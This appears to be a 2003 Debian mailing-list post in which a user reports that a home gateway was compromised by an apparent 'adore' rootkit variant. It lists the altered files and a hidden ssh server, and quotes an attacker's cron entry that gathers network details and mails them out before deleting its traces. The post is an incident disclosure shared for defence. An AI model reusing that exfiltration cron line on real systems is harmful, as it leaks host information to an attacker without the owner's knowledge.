On Mon, Dec 22, 2003 at 04:29:48AM -0800, Karsten M. Self wrote:
> on Fri, Dec 19, 2003 at 05:25:13PM +1100, Patrick Lesslie wrote:
> > On Fri, Dec 19, 2003 at 02:12:48PM +1100, Patrick Lesslie wrote:
> > unable to make backup link of `./bin/login' before installing new version:
> > Operation not permitted
> > Errors were encountered while processing:
> > /var/cache/apt/archives/login_1%3a4.0.3-12_i386.deb
> > E: Sub-process /usr/bin/dpkg returned an error code (1)
> >
> > I'm root, and I'm not sure why this is failing.
>
> I smell a system compromise.
You smell correctly. I discovered it shortly after Kent's post,
when my old woody chkrootkit found suspicious files in
/lib/security/.config/. It turned out to be (a variant of perhaps)
the "adore" rootkit. I don't know how they got in, there weren't
old enough logs, and perhaps some were removed, but let's just
say security wasn't "stellar". It had been compromised for 73 days
before I got around to fixing what I thought was just a bug in the
virtual console login. It was a home gateway, and a desktop with
heaps of packages.
> First try 'lsattr /bin/login'. Check that the partition is mounted
> writable.
# ls -l /old/bin/login
suSiadAc-- /old/bin/login
# ls -l /bin/login
-- /bin/login
> Look at your process table -- 'cd /proc; echo *' or 'cd /proc; ls '
> should show you what's available. Treat with suspicion any process IDs
> which persistantly appear in output of one or the other of those
> actions, but not in 'ps ux' output.
>
> Better: Immediately disconnect your system from network and boot known
> good media: a rescue disk, LNX-BBC, Damn Small Linux, Knoppix,
> tomsrtbt, etc. Compare /bin/login vs. md5sum from
> /var/lib/dpkg/info/login.md5sums.
It was empty, so the sums probably would not match :)
> http://www.wiggy.net/debian/developer-securing/
Thanks for those good tips.
We found some compromised files by modification date:
/bin/login
/lib/libext-2.so.7 ("dbx7If0tG/8ZM")
/etc/ld.so.hash ("dbx7If0tG/8ZM")
/usr/include/hosts.h ("3 4784\n4 4784")
/etc/shadow-
/var/spool/cron/crontabs/operator
/lib/security/.config/ssh/ssh_random_seed
/lib/security/.config/ssh/sshd_config
/lib/security/.config/ssh/ssh_host_key.pub (a key for "[EMAIL PROTECTED]")
/lib/security/.config/sshd
/usr/sbin/xntps
/var/tmp/.../s
/var/tmp/.../apal/samba
/var/tmp/.../apal/scan
The first four files had modified attributes. The last five were
binaries. The kit apparently enables a second ssh server on a high
port like 15000, with public key authentication.
My favourite file was the last one, which contained this cron entry:
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (crontab-entry installed on Thu Oct 9 09:36:03 2003)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
0 0 1 * * /sbin/ifconfig |grep inet >/tmp/.log 2>/dev/null; /bin/hostname -f
>>/tmp/.log 2>/dev/null; /usr/local/games/banner /usr/local/games/tcp.log >>/tmp/.log
2>/dev/null; cat /tmp/.log|mail -s 'tcp.log' [EMAIL PROTECTED] >/dev/null 2>&1; rm -f
/tmp/.log >/dev/null 2>&1
So much for me hoping that our dynamic IP would have helped ;-)
So, I've reinstalled on another partition, and put a gateway in between,
and I've learned some lessons too.
Patrick
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]